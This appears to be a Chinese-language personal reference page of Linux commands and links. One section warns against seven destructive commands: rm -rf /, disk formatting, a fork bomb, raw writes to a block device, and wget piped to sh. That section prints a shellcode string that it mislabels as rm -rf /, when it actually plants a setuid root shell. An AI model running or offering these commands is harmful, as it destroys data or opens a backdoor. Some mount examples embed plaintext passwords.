• OS + linux command / Linux Command / Linux command / linux Command


    写下你职业生涯中最难以忘怀的误操作。。

    http://www.dangkai.com/ArticlePage/Article59549.htm

    http://bbs.chinaunix.net/thread-2076933-1-1.html

     

    Linux常用命令全集

    http://linux.chinaitlab.com/special/linuxcom/

    http://ishare.iask.sina.com.cn/f/6018840.html?from=like

    ftp://ftp5.chinaitlab.com/linux/Linux/Linux常用命令全集.rar

    http://dl.iteye.com/topics/download/b8eec5a3-e413-3f76-b9b4-745f89159176

    ftp://ftp5.chinaitlab.com/linux/Linux%B3%A3%D3%C3%C3%FC%C1%EE%C8%AB%BC%AF.rar

    http://static.ishare.down.sina.com.cn/6370765.rar?ssig=wUSzQGl1VT&Expires=1350057600&KID=sina,ishare&ip=1349919975,221.226.47.&fn=Linux%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4%E5%85%A8%E9%9B%86.rar

    7个致命的 Linux 命令

    http://www.iteye.com/topic/787753

    如果你是一个 Linux 新手,在好奇心的驱使下,可能会去尝试从各个渠道获得的命令。以下是 7 个致命的 Linux 命令,轻则使你的数据造成丢失,重则使你的系统造成瘫痪,所以,你应当竭力避免在系统中运行它们。

    1. rm -rf / 此命令将递归并强制删除 / 目录下的所有文件。
    2. char esp[] __attribute__ ((section(".text"))) /* e.s.p
      release */
      = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
      "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
      "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
      "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
      "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
      "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
      "\x6e\x2f\x73\x68\x00\x2d\x63\x00"
      "cp -p /bin/sh /tmp/.beyond; chmod 4755
      /tmp/.beyond;";
      
      这是 rm -rf / 的 hex(十六进制)版本,很能迷惑 Linux 用户。
    3. mkfs.ext3 /dev/sda 这将对硬盘进行重新格式化,自然,硬盘上的所有数据将灰飞烟灭。
    4. :(){ :|:& };: 著名的 fork bomp,此命令将告诉你的系统执行海量的进程,直到你的系统僵死。
    5. any_command > /dev/sda 使用该命令,原始数据将被写到块设备,其结果是造成数据丢失。
    6. wget http://some_untrusted_source -O- | sh 不要从不信任的地方下载东西,这可能会获取恶意代码。
    7. mv /home/yourhomedirectory/* /dev/null 此命令将移动主目录中的所有文件到一个不存在的地方,你将再也看不到那些文件。

     

     
    cat
    cmp
    git
    cut
    ln
    mc
    mv
    od
    rcp
    rm
    tee
    cp
    in
     
    cd
    df
    du
    mcd
    mdu
    mmd
    mrd
    pwd
    rmt
    ls
    quotacheckquotaofflndirrepquotaquotaon 
          
          
     
     
    col
    ed
    ex
    fmt
    jed
    joe
    sed
    tr
    wc
          
     
    lpr
    lpq
    lpd
    bye
    ftp
    ftpshutftpwhoftpcount   
          
     
     
    dd
    fsck.ext2fdisklosetupmkfssfdisk
        
     
    dip
    uux
    nc
    tty
    statserialefaxpppsetuptcpdumpytalkcu
    smbclient  
     
     
    adduserchfnuseradddateexitfinger
    fwhoissleepsuspendgroupdelgroupmodhalt
    killlastlastbloginlognamelogout
    psniceprocinfotoppstreereboot
    rloginrshsliploginscreenshutdownrwho
    sudogitpsswatchtloadlogrotatekill
    unamechshuserconfuserdelusermodvlock
    whowhoamiwhoisnewgrprenicesu
    skillwidfree  
     
    resetclearaliasdircolorsaumixbind
    chrootclockcrontabdeclaredepmoddmesg
    enableevalexportpwunconvgrpconvrpm
    insmodkbdconfigliloliloconfiglsmodminfo
    setmodprobentsysvmoouseconfigpasswdpwconv
    rdateresizermmodgrpunconvmodinfotime
    setupsndconfigsetenvsetconsoletimeconfigulimit
    unsetchkconfigapmdhwclockmkkickstartfbset
    unaliasSVGAText Mode   
     
     
    arbunzip2bzip2bzip2recovergunzipunarj
    compresscpiodumpuuencodegzexegzip
    lharestoretaruudecodeunzipzip
    zipinfo     
     
    setledsloadkeysrdevdumpkeysMAKEDEV 
          
          
          

     

    -

    cat
    cmp
    git
    cut
    ln
    mc
    mv
    od
    rcp
    rm
    tee
    cp
    in

    -

    cd
    df
    du
    mcd
    mdu
    mmd
    mrd
    pwd
    rmt
    ls
    quotacheckquotaofflndirrepquotaquotaon 
          
         

    -

    col
    ed
    ex
    fmt
    jed
    joe
    sed
    tr
    wc
         

    -

    lpr
    lpq
    lpd
    bye
    ftp
    ftpshutftpwhoftpcount   
       

    -

    dd
    fsck.ext2fdisklosetupmkfssfdisk
       

    -

    dip
    uux
    nc
    tty
    statserialefaxpppsetuptcpdumpytalkcu
    smbclient  

    -

    adduserchfnuseradddateexitfinger
    fwhoissleepsuspendgroupdelgroupmodhalt
    killlastlastbloginlognamelogout
    psniceprocinfotoppstreereboot
    rloginrshsliploginscreenshutdownrwho
    sudogitpsswatchtloadlogrotatekill
    unamechshuserconfuserdelusermodvlock
    whowhoamiwhoisnewgrprenicesu
    skillwidfree  

    -

    resetclearaliasdircolorsaumixbind
    chrootclockcrontabdeclaredepmoddmesg
    enableevalexportpwunconvgrpconvrpm
    insmodkbdconfigliloliloconfiglsmodminfo
    setmodprobentsysvmoouseconfigpasswdpwconv
    rdateresizermmodgrpunconvmodinfotime
    setupsndconfigsetenvsetconsoletimeconfigulimit
    unsetchkconfigapmdhwclockmkkickstartfbset
    unaliasSVGAText Mode  

    -

    arbunzip2bzip2bzip2recovergunzipunarj
    compresscpiodumpuuencodegzexegzip
    lharestoretaruudecodeunzipzip
    zipinfo     

    -

    setledsloadkeysrdevdumpkeysMAKEDEV 
          
          
          

    -

     

    http://g.51cto.com/linux/70501

    摘录2009年的面试题,3000/月(2009-11-02 10:43:49 )的网工
    1.基本的各种命令(查看系统时间、IP、创建用户、查看进程)
    2.写出用什么软件可以实现以下服务(HTTP、FTP)
    3.怎么样在LINUX下部署一套完整的邮件系统。使用什么软件,写出方法。
    4.在LINUX下怎么样架设VPN?怎么样实现与XP和通信。
    5.IPTABLES 可以做基于IP的访问控制吗?怎么样做写出具体步骤。
    [root@wcs7web2 httplogs_f]# netstat -atpln | grep :80 | grep -v 127.0.0.1 | awk '{print $5}' | sort
    [root@wcs7web2 httplogs_f]# iptables -V
    iptables v1.3.5
    [root@wcs7web2 httplogs_f]# iptables -I INPUT -s 192.168.134.153 -j DROP
    [root@wcs7web2 httplogs_f]# iptables --list   或 iptables -L -n 或 iptables --list --numeric
    Chain INPUT (policy ACCEPT)
    target prot opt source   destination 
    DROP   all  --  192.168.134.153  anywhere
    Chain FORWARD (policy ACCEPT)
    target prot opt source   destination 
    Chain OUTPUT (policy ACCEPT)
    target prot opt source   destination 
    6.LINUX非正常关机后,怎么样可以把死机前的东西较多的保留下来。(命令)
    7.写出3种以上的用与压缩、解压缩的软件。(LINUX)
    Linux一句话精彩问答
    http://bbs.chinaunix.net/viewthread.php?tid=16141
    http://forum.ubuntu.org.cn/
    http://irc.ubuntu.org.cn/irc.cgi
    http://linsea.iteye.com/blog/262427
    http://cdimage.ubuntu.com/releases/jaunty/alpha-1/jaunty-server-i386.iso
    Linux网络命令
    http://subject.lupaworld.com/200609/net/
    telnet 登录到远程计算机上
    r - 使用各种远程命令 rlogin rcp rsh
    nslookup 查询域名和IP地址的对应
    finger 查询某个使用者的信息
    ifconfig 指令用来设定网路介面, 并可查询目前网路介面的设定情形, 报错可以用绝对路径 /sbin/ifconfig
    http://wenke.iteye.com/blog/258004
    ubuntu 快捷按键 >>>“System>Preferences>Keyboard Shortcuts”
    http://blog.csdn.net/chenchao03/archive/2008/11/04/3219791.aspx
    http://www.chinaunix.net/jh/9/707301.html
    ubuntu tty/pty   注销 >>> Ctrl + D 或 logout
    ubuntu GUI Shell注销 >>> kill process
    ubuntu tty1-tty6切换 >>> Ctrl + Alt + [F1-F6]
    ubuntu GUI-tty切换 >>> Ctrl + Alt + F7
    ubuntu 系统注销 >>>Ctrl+Alt+Backspace
    ubuntu 系统关机 >>>sudo halt  或 sudo init 0 或 sudo shutdown
    ubuntu 系统重启 >>>sudo reboot 或 sudo shutdown -r now
    ubuntu 系统睡眠 >>> NoteBook: Fn + F3 (toshiba pc)
    ubuntu 系统唤醒 >>>NoteBook:"Power" Button
    ubuntu 系统锁屏 >>>Ctrl+Alt+L
    ubuntu 切工作台 >>>Ctrl + Alt +→/←
    关机命令详解
    http://blog.chinaunix.net/u1/51074/showart_402807.html
    http://manpages.ubuntu.com/manpages/hardy/zh_CN/man8/shutdown.html#toptoc0
    查看ubuntu 使用命令排行
    history | awk ‘{a[$2]++ } END{for(i in a){print a[i] ” ” i}}’ | sort -rn | head
    ubuntu password 密码丢解决
    http://www.iteye.com/topic/64050
    参考
    http://komei.iteye.com/blog/119539
    http://blog.chinaunix.net/u2/68232/showart_670744.html
    管道 | 、重定向 > 、 >> 、 < 、后台运行 & 、序列执行 &&
    192.168.200.81 >>>history |grep cjvf
    apt-get 详解
    http://www.linuxidc.com/Linux/2008-03/11912.htm
    firefox 地址栏输入>>>apt:amsn 或apt:vim 等
    1.列举本地更新
    sudo apt-get update
    2.安装可用更新
    sudo apt-get upgrade
    3.查询软件包
    apt-cache search package_name
    4.安装一个软件包
    sudo apt-get install package_name
    5.删除一个软件包
    sudo apt-get remove package 或 sudo apt-get autoremove package
    6.列举其他apt-get 命令
    apt-get help
    7.install/unstall .deb files
    sudo dpkg -i package_file.deb ,sudo dpkg -r package_filename
    8.convert .rpm to .deb files
    sudo alien package
    9.install tarballs
    tar xfvz tarball_name
    ls 详解
    http://www.ownlinux.cn/2008/03/20/ubuntu-linux-ls/
    http://coolife.org/2008/06/ubuntu-file-manager.html
    ##纵向分屏
    lindows@lindows-laptop:~/linux_soft$ ls | more
    ##横向分屏
    lindows@lindows-laptop:~/linux_soft$ ls || more
    #列出详细且隐藏的文件
    lindows@lindows-laptop:~/linux_soft$ ls -l -a

    lindows@lindows-laptop:~/linux_soft$ ls -la
    #  统计 /查询 当前目录 下 子目录 总 数
    lindows@lindows-laptop:~/linux_soft$ ls -lF | grep / | wc -l

    lindows@lindows-laptop:~/linux_soft$ ls -lF | grep '^d' | wc -l


    # 列 出/查询 当前目录 下 不含目录 的所有文件
    lindows@lindows-laptop:~/linux_soft$ ls -lF | grep '^[^d]'
    http://www.bitscn.com/os/linux/201008/189165.html
    查看当前目录下文件的个数 ls -l | grep "^-" | wc -l
    查看当前目录下文件的个数,包括子目录里的。  ls -lR| grep "^-" | wc -l
    查看某目录下文件夹(目录)的个数,包括子目录里的。 ls -lR| grep "^d" | wc -l
    ls 格式:ls [参数] [文件/目录]
    参数说明:
    -a 表示列出所有的文件,包括以"."开头的隐藏文件
    -d 如果其后接的是一个目录,则此只输出目录的名称
    -l 表示以清单的形式列出文件的条目,包括文件的名称、权限、拥有者、大小、最后修改时间等
    -t 表示列出的条目按最后修改的时间进行排序,默认是使用文件夹的名称来排序
    -C 以文件的名称按列纵向排序
    -F 在文件名后加一个符号来表示文件类型
    -R 列出当前目录所有文件明细
    下面我就给大家举几个例子来简单说明一下:
    这就是ls和ls -a的区别,可以看到如果是用ls -a来查看就用看到以"."开头的隐藏文件
    可以看到ls -l把当前目录下的upload.tar.gz 这个文件夹的属性都显示出来了
    可以看到当前目录下的子目录后面多了一个"/"
    这样我就把ls给才学习Linux的朋友们简单地介绍了一下,更多关于Linux的命令请看《Linux命令详解》
    chmod 修改权限详解
    http://www.oklinux.cn/html/Basic/cyml/20080322/49800.html
    http://www.phpx.com/happy/thread-144821-1-1.html
    Owner  Group   Other
    --- --- ---
    R W X R W X R W X
    1  1  01  1  0  1  0  0===> 6 6 4 权限
    Ower: 文件所有者
    Group: 文件所属组别
    Other: 其他
    R: 读权限
    W: 写权限
    X: 执行权限
    1: 有权限
    0: 没权限
    ubuntu_ownlinux_chmod_1
    ownlinux@server:/var/www$ sudo chmod ugo rwx ownlinux
    ownlinux@server:/var/www$ sudo chmod a rwx ownlinux
    ownlinux@server:/var/www$ sudo chmod 777 ownlinux
    查看当前目录的子目录:
    ls -d */ 或 echo */
    如:lindows@lindows-laptop:~/.local/share/Trash/files/linux_XP3$ ls -d */
    ubuntu系统调节屏幕亮度
    用toshiba 机器自带的“Fn+F6/F7”即可,ok.
    ubuntu如何添加源和更新软件列表
    http://wiki.ubuntu.org.cn/Qref/Source
    http://wiki.ubuntu.org.cn/Template:8.04source
    http://wiki.ubuntu.org.cn/添加其他软件库
    >>>
    #列出系统引导文件
    lindows@lindows-laptop:/etc/apt$ ls /boot
    lindows@lindows-laptop:/etc/apt$ cp /etc/apt/sources.list /etc/apt/source.list_backup2
    cp: cannot create regular file `/etc/apt/source.list_backup2': Permission denied
    lindows@lindows-laptop:/etc/apt$ sudo cp /etc/apt/sources.list /etc/apt/source.list_backup
    lindows@lindows-laptop:/etc/apt$ sudo gedit sources.list
    lindows@lindows-laptop:/etc/apt$ sudo apt-get update
    >>>
    http://linuxchinese.spaces.live.com/blog/cns!D2AFC088FD2AA096!114.entry
    打开终端
    先做个备份
    sudo cp /etc/apt/sources.list /etc/apt/sources.list_bak
    然后
    sudo gedit /etc/apt/sources.list
    加入源地址
    deb ftp://ftp.sjtu.edu.cn/ubuntu/ feisty main restricted universe multiverse
    deb-src ftp://ftp.sjtu.edu.cn/ubuntu/ feisty main restricted universe
    PS:注释掉其他行(行首加上#),也可不操作
    最后,更新你的软件列表
    sudo apt-get update
    http://wiki.ubuntu.org.cn/Ubuntu技巧
    Linux Exercise
    http://www.lupaworld.com/home/lupa.php?do=exercise
    Linux Command
    http://zhanglei14616-163-com.iteye.com/blog/215505
    mount
    http://tech.ccidnet.com/art/302/20060608/575235_1.html
    http://blog.csdn.net/huajian2008/archive/2008/11/07/3244524.aspx
    #把一个xxx.iso光盘镜像文件装入虚拟光驱
    lindows@lindows-laptop:/etc/apt$ sudo mount -o loop xxx.iso /cdrom
    lindows@lindows-laptop:/etc/apt$ sudo mount /dev/hda9 /media/hda9/
    “ls -l -a”或“ls -la”
    所有的命令从标准输入接受输入,输出结果显示在标准输出,而错误信息则显示在标准错误输出设备。
    可使用重定向功能对这些设备进行重定向 
    命令在正常执行结果后返回一个0 值,如果命令出错可未完全完成,则返回一个非零值(在shell中可用变量$?查看)。 在shell script中可用此返回值作为控制逻辑的一部分。
    linux挂载windows上的共享文件
    http://lym6520.iteye.com/blog/356625
    Windows文件映射到异种操作系统
    http://www.haoxiai.net/caozuoxitong/linux/7601.html
    Linux挂载Windows分区
    mount ntfs分区
    一.单机挂windows的NTFS分区
    1. 上www.google.com搜索并下载 kernel-ntfs-2.4.18-14.i686.rpm
    2. rpm -ivh kernel-ntfs-2.4.18-14.i686.rpm
    3. mkdir /mnt/share
    4. mount -t ntfs /dev/hda1 /mnt/share
    要挂载Windows分区,首先新建一个目录/mnt/share,修改/etc/fstab,
    在最末尾添上(假设Windows安装在硬盘的第1个分区)
    /dev/hda1 /mnt/share ntfs defaults 0 0
    二.网络上一台windows和linux机器,linux机器挂载windows上的共享文件
    windows IP:192.168.1.1
    1.linux挂载192.168.1.1(windows)上共享文件dbf,挂在linux的/mnt/share目录
    下,在/mnt下建立share目录
    mount -t smbfs -o username=massky,password=massky //192.168.
    1.1/dbf /mnt/share
    2.机器重启自动挂载,vi /etc/fstab最后加入:
    //192.168.1.1/dbf /mnt/share smbfs defaults,auto,username=m
    assky,password=massky 0 0
    =======================================================================
    三.linux机器挂载windows上的共享文件:
    mount -o username=Administrator,password=123456 //192.168.7.130/floder /mnt/lym
    机器重启自动挂载,vi /etc/fstab最后加入:
    //192.168.1.1/floder /mnt/share defaults,auto,username=Administrator,password=123456 0 0
    <strong>帮助命令: </strong>
    man 获取相关命令的帮助信息
    例如:man dir 可以获取关于dir的使用信息。
    info 获取相关命令的详细使用方法
    例如:info info 可以获取如何使用info的详细信息。
    <strong>文件操作:</strong>
    cat 显示文件内容和合并多个文件  如: [lindows@lindows ~]$ cat test.java index.html
    cal 得到本月的日历 http://vsc.iteye.com/blog/561157
    clear 清屏
    chattr 改变文件属性
    chgrp 改变文件组权
    chmod 改变文件或目录的权限   http://www.oklinux.cn/html/Basic/cyml/20080322/49800.html
    chown 改变文件的属权
    comm 比较两个已排过序的文件
    cp 将文件拷贝至另一文件
    dd 从指定文件读取数据写到指定文件
    diff 比较两个文本文件,列出行不同之处
    du 统计目录/文件所占磁盘空间的大小
    [root@lindows soft]# du -sh  或du -sh . //查看当前文件夹大小 GB显示
    [root@lindows soft]# du -sm  或du -sm . //查看当前文件夹大小 MB显示
    [root@lindows soft]# du -sk  或du -sk .//查看当前文件夹大小 KB显示
    [root@lindows soft]# du -sh *//查看当前文件夹及文件大小
    file 辨识文件类型
    emacs 功能强大的编辑环境
    find 搜索文件 

           如:当前目录查找*.txt  (注意添加引号, 如果find多个文件, 需要用引号括起来. )

           如:[root@localhost ~]# find ./ -name "*.txt"

           Linux下find命令错误"find: paths must precede expression "

           http://hi.baidu.com/edeed/item/7b5b8b0ea76fed103a53eeb0

    grep  按给定模式搜索文件内容   误删文件不用怕 grep 命令帮你恢复
    head 显示指定文件的前若干行
    less 按页显示文件
    ln 创建文件链接
    locate 查找符合条件的文件
    more 在终端屏幕按帧显示文本文件   纵向分屏>>> ls | more  横向分屏>>>ls || more
    mv 文件或目录的移动或更名   example: [root@lindows ~] mv temp/ /mnt/temp/
    rm/rmdir 删除文件/目录  如: 递归删除 rm -rf test  如: 删除空目录:rmdir test  rm 参数:-i  先询问 -v 显示执行过程
    sed 利用script来处理文本文件
    sort 对指定文件按行进行排序   //vim 中如何利用系统的sort命令对数据排序
    tail 显示指定文件的最后部分  

    // [loguser@b2clogbackup greplog]$ tail -n 10000 v4secondView.txt   //显示最后1万行某系统日志

     

    touch 创建文件
    tr 转换字符
    vi 全屏编辑器
    wc 显示指定文件中的行数,词数或字符数
    which 在环境变量 $PATH 设置的目录里查找符合条件的文件
    <strong>压缩与备份:</strong>
    bzip2/bunzip2 .bz2文件的压缩/解压缩程序
    cpio 备份文件
    gzip/gunzip .gz文件的压缩/解压缩程序
    gzexe 压缩可执行文件
    restore 还原由倾倒(Dump)操作所备份下来的文件或整个文件系统(一个分区)
    unarj 解压缩.arj文件
    zip/unzip 压缩/解压缩 zip文件如:unzip jdk1.5.zip //解压缩jdk1.5.zip文件到当前目录
    zipinfo 列出zip压缩文件的详细信息
    <strong>压缩与备份:</strong>
      http://lvbo744.iteye.com/blog/241652
    bzip2/bunzip2 .bz2文件的压缩/解压缩程序
    cpio 备份文件
    dump 备份文件系统
    gzip/gunzip .gz文件的压缩/解压缩程序
    gzexe 压缩可执行文件
    restore 还原由倾倒(Dump)操作所备份下来的文件或整个文件系统(一个分区)
    tar 将若干文件存档或读取存档文件   http://blog.csdn.net/zg_hover/archive/2008/06/14/2545673.aspx
    unarj 解压缩.arj文件
    zip/unzip 压缩/解压缩 zip文件
    zipinfo 列出zip压缩文件的详细信息
    .tar
    解包:tar -xvf FileName.tar
    打包:tar -cvf FileName.tar DirName
    打包:tar -cvf FileName.tar /home/temp  -C  /home/test/   (打包到test目录)
    打包:tar -cvf filename.tar /home/tt.txt   (打包到当前目录)
     tar -cvf filename.tar /home/t1.txt /home/t2.txt (指定打包路径打包到其他目录)
    查看包tar -tvf filename.tar 
    ---------------------------------------------
    .gz
    解压gz文件 :gunzip FileName.gz
    解压gz文件 :gzip -d FileName.gz
    压缩gz文件 :gzip FileName
    .tar.gz
    解压tar.gz 文件 :tar zxvf FileName.tar.gz -C /tmp/YourDirName
    压缩tar.gz 文件 :tar zcvf FileName.tar.gz DirName
    ---------------------------------------------
    .bz2
    解压1:bzip2 -d FileName.bz2
    解压2:bunzip2 FileName.bz2
    压缩: bzip2 -z FileName
    .tar.bz2
    解压:tar jxvf FileName.tar.bz2
    压缩:tar jcvf FileName.tar.bz2 DirName
    ---------------------------------------------
    .bz
    解压1:bzip2 -d FileName.bz
    解压2:bunzip2 FileName.bz
    压缩:未知
    .tar.bz
    解压:tar jxvf FileName.tar.bz
    压缩:未知
    ---------------------------------------------
    .Z
    解压:uncompress FileName.Z
    压缩:compress FileName
    .tar.Z
    解压:tar Zxvf FileName.tar.Z
    压缩:tar Zcvf FileName.tar.Z DirName
    ---------------------------------------------
    .tgz
    解压:tar zxvf FileName.tgz
    压缩:未知
    .tar.tgz
    解压:tar zxvf FileName.tar.tgz
    压缩:tar zcvf FileName.tar.tgz FileName
    ---------------------------------------------
    .zip
    解压:unzip FileName.zip -d DirName
    压缩:zip FileName.zip DirName
    解压并覆盖:
    [root@nginx2 catentries]# unzip catentries.zip -d ../
    Archive:  catentries.zip
    replace ../catentries/00000000010012/000000000100121980/000000000100121980_ls1.jpg? [y]es, [n]o, [A]ll, [N]one, [r]ename: A
    ---------------------------------------------
    .rar
    解压:rar a FileName.rar
    压缩:r ar e FileName.rar
    ---------------------------------------------
    .lha
    解压:lha -e FileName.lha
    压缩:lha -a FileName.lha FileName
    .rpm
    解包:rpm2cpio FileName.rpm | cpio -div
    ---------------------------------------------
    .tar .tgz .tar.gz .tar.Z .tar.bz .tar.bz2 .zip .cpio .rpm .deb .slp .arj .rar .ace .lha .lzh
    .lzx .lzs .arc .sda .sfx .lnx .zoo .cab .kar .cpt .pit .sit .sea
    解压:sEx x FileName.*
    压缩:sEx a FileName.* FileName

    gnu tar的1.26版本开始支持lzma和xz压缩,具体压缩实例如下:

    Linux使用高压缩率的lzma和xz

    http://blog.chinaunix.net/uid-291731-id-3029926.html
    压缩
    tar -c --xz   -f my_archive.tar.xz   /some_directory    # results in my_archive.tar.xz
    tar -c --lzma -f my_archive.tar.lzma /some_directory    # results in my_archive.tar.lzma
    解压缩
    tar -x --xz   -f my_archive.tar.xz      # results in /some_directory
    tar -x --lzma -f my_archive.tar.lzma    # results in /some_directory
    其中--xz可以用-J代替
    更简洁的方式:
    tar -cJf aaa.tar.xz my_dir
    tar -xJf aaa.tar.xz
    或者使用tar的选项"-a"自动识别压缩文件后缀的方式:
    tar -caf aaa.tar.xz my_dir
    tar -xaf aaa.tar.xz
    如果你嫌tar.xz 太长了,可以使用txz。
    由于受到Dos 8.3文件名格式的限制,tar常使用下列缩写:
        .tgz等价于.tar.gz
        .tbz与tb2等价于.tar.bz2
        .taz等价于.tar.Z
        .tlz等价于.tar.lzma
        .txz等价于.tar.xz
    继续补充:
    查看tar包中的文件:
    tar -aft 1.tar.xz
    解压缩tar中单独的文件或者目录:
    首先应用上面的命令查看tar包中的文件名和目录,然后使用-x解压缩命令
    $tar -aft 1.tar.xz
    1/
    1/a.bin
    1/b.bin
    1/c.bin
    $tar -axf 1.tar.xz 1/a.bin
    即可解压缩单独的文件a.bin而不用把这个压缩文件全部解压开来

    浅谈Linux下各种压缩 解压命令和压缩比率对比

    http://blog.sina.com.cn/s/blog_407abb0d0100lajg.html

    综合起来,在压缩比率上: tar.bz=tar.bz2>tgz>tar

                占用空间与压缩比率成反比: tar.bz=tar.bz2<tgz<tar
                  耗费时间(打包,解压)
                                  打包:tar.bz>tar.bz2>tgz>tar
                                  解压: tar.bz>tar.bz2>tar>tgz
                   从效率角度来说,当然是耗费时间越短越好
    因此,Linux下对于占用空间与耗费时间的折衷多选用tgz格式,不仅压缩率较高,而且打包、解压的时间都较为快速,是较为理想的选择。
    如果对效率很关切,非常在乎时间的话,选择tgz tar的方式都不错。当然,如果disk空间较为紧张,非常在乎空间的话,选择高压缩比率的tar.bz2则更为适宜。
    -----------------------------------------------------------------------------------------
    结论:
    再一次印证了物理空间与时间的矛盾(想占用更小的空间,得到高压缩比率,肯定要牺牲较长的时间;反之,如果时间较为宝贵,要求快速,那么所得的压缩比率一定较小,当然会占用更大的空间了)。


    <strong>磁盘操作: </strong>
    cd/pwd 切换目录/显示当前工作目录[lindows@localhost ~]cd -   //显示以前访问目录路劲
    df 显示磁盘的相关信息   http://unix-cd.com/unixcd12/article_3487.html
    [lindows@localhost ~]$ df
    [lindows@localhost ~]$ df -m
    [lindows@localhost ~]$ df -h
    [lindows@localhost ~]$ df -Th
    [lindows@localhost ~]$ df -Th -t -ext3
    [lindows@localhost ~]$ df -Th -x -ext3
    [lindows@localhost ~]$ df -Tha
    du 显示目录或文件的大小
    e2fsck 检查ext2/ext3文件系统的正确性
    fdisk 对硬盘进行分区

    //linux下使用fdisk结合partprobe命令不重启系统添加一块新的磁盘分区

    http://www.jb51.net/LINUXjishu/77021.html
    fsck 检查文件系统并尝试修复错误
    losetup 设置循环设备
    ls 列出目录内容   http://www.ownlinux.cn/2008/03/20/ubuntu-linux-ls/
    mkdir 创建目录
    mformat 对MS-DOS文件系统的磁盘进行格式化
    mkbootdisk 建立目前系统的启动盘
    mke2fs 建立ext2文件系统
    mkisofs 制作iso光盘映像文件
    mount /umount  加载文件系统/卸载文件系统
    http://bbs.chinaunix.net/archiver/tid-490398-page-1.html
    http://forum.ubuntu.org.cn/viewtopic.php?f=35&t=51183&start=15
    例如:
    运行:"E:\Program Files\VMware\VMware Workstation\vmware.exe"--VM--Setting
    --CD/DVD(IDE)--Use ISO image file:E:\lindows\software\RHEL_5.2_i386_DV.iso--OK
    [root@localhost ~]# mount /dev/cdrom /media/cdrom
    mount : block device /dev/cdrom is write-protected, mount ing read-only
    -- 这个信息出来说明光驱已经挂载成功了。只是由于光盘是只读设备,不能写。ok
    quota 显示磁盘已使用的空间与限制
    sync 将内存缓冲区内的数据写入磁盘
    tree 以树状图列出目录的内容
    <strong>系统操作:</strong>
    alias 设置指令的别名
    chkconfig 检查,设置系统的各种服务 /chkconfig 和 systemctl 命令  https://fedoraproject.org/wiki/SysVinit_to_Systemd_Cheatsheet/zh
    clock 调整 RTC 时间
    date  显示或设置系统时间与日期
    # 修改linux日期
    [root@localhost ~]# date -s 03/04/2010
    # 修改linux时间
    [root@localhost ~]# date -s 21:55:00
    For Linux   Linux date 命令使用技巧
    [root@Gman root]# date -d next-day +%Y%m%d
    20060328
    [root@Gman root]# date -d last-day +%Y%m%d
    20060326
    [root@Gman root]# date -d yesterday +%Y%m%d
    20060326
    [root@Gman root]# date -d tomorrow +%Y%m%d
    20060328
    [root@Gman root]# date -d last-month +%Y%m
    200602
    [root@Gman root]# date -d next-month +%Y%m
    200604
    [root@Gman root]# date -d next-year +%Y
    2007
    dmesg 显示开机信息
    eval 重新运算求出参数的内容
    exit 退出目前的shell
    export 设置或显示环境变量  export LANG=C ;  export DISPLAY=192.168.114.222:0.0
    finger 查找并显示用户信息
    free 显示内存状态
    hostid 显示主机标识
    hostname 显示主机名
    id 显示用户标识
    kill 删除执行中的程序或工作
    last 列出目前与过去登入系统的用户相关信息
    linux下如何查看最后登陆的几位用户的详细信息?
    linux下怎么查看ssh的用户登录日志?
    使用日志系统保护Linux安全
    Linux日志系统分析
    [root@lindows ~] less /var/log/secure
    [root@lindows ~] less /var/log/messages
    [root@lindows ~] last -a
    在Linux系统中,有三个主要的日志子系统:连接时间日志 + 进程统计 + 错误日志
    连接时间日志--由多个程序执行,把纪录写入到/var/log/wtmp和/var/run/utmp
    login等程序更新wtmp和 utmp文件,使系统管理员能够跟踪谁在何时登录到系统
    常用的日志文件如下:
    access-log 纪录HTTP/web的传输
    acct/pacct 纪录用户命令
    aculog 纪录MODEM的活动
    btmp 纪录失败的纪录
    lastlog 纪录最近几次成功登录的事件和最后一次不成功的登录
    messages 从syslog中记录信息(有的链接到syslog文件)
    sudolog 纪录使用sudo发出的命令
    sulog 纪录使用su命令的使用
    syslog 从syslog中记录信息(通常链接到messages文件)
    utmp 纪录当前登录的每个用户
    wtmp 一个用户每次登录进入和退出时间的永久纪录
    xferlog 纪录FTP会话
    logout 退出系统
    lsmod 显示已载入系统的模块
    modprobe 自动处理可载入模块
    passwd 设置用户密码   如:密码丢失解决:启动的时候选择recovery模式启动,然后passwd {user}就行了。
    ps process status 报告程序状况
    reboot 重启计算机
    rhwo 查看系统用户
    rlogin 远程登入
    rpm 管理Linux各项套件的程序
    top 显示,管理执行中的程序

    1. top -p <进程号id> 输入:Shift O 再输入:选择可以显示的列字段展示

    2. top + Shift M 以内存使用大小排列top列表

    3. top + Shift P 以CPU使用大小排列top列表

    文件:[root@localhost ~]# top_java.sh

    内容:

    #!/bin/sh
    # 用top查看java进程并自动记录到txt里
    while(true)
    do
    	top  -b -n 1 | grep java >> top_$(hostname)_$(date %Y%m%d%H%M%S).txt;
    sleep 60;
    done;
    

     
    uname 显示系统信息
    userinfo 图形界面的修改工具
    usermod 修改用户属性,包括用户的shell类型,用户组等,甚至还能改登录名
    w 显示目前注册的用户及用户正运行的命令
    whereis 确定一个命令的二进制执行码,源码及帮助所在的位置
    who 列出正在使用系统的用户
    whois 查找并显示用户信息
    <strong>网络通信: </strong>
    arp 网地址的显示及控制
    ftp 文件传输
    lftp 文件传输
    mail 发送/接收电子邮件
    mesg 允许或拒绝其他用户向自己所用的终端发送信息
    mutt E-mail管理程序
    ncftp 文件传输
    netstat 显示网络连接、路由表和网络接口信息   netstat -ptln   #查看当前连接端口
    netstat -nat|grep -i ":22" | wc -l #查看当前连接情况 netstat -nat|grep -i ":22"  #查看当前连接详细
    pine 收发电子邮件,浏览新闻组
    ping 向网络上的主机发送 icmp echo request 包
    LINUX下的PING命令用什么参数可以让一个大于MTU值的数据包不分片??
    Linux 常用網路指令介紹
    局域网广播 10次,查询172.17.25.255网关内活动主机(单机双IP可能会打环,duplicate)
    lindows@lindows-desktop:~$ ping -c 10  -b 172.17.25.255
    ssh 安全模式下的远程登录
    如:redhat远程连接redhat >>> [root@localhost tmp]# ssh -l -x root 192.168.121.22
    telnet 远程登录   redhat linux 5上telnet的开启过程
    talk 与另一用户对话
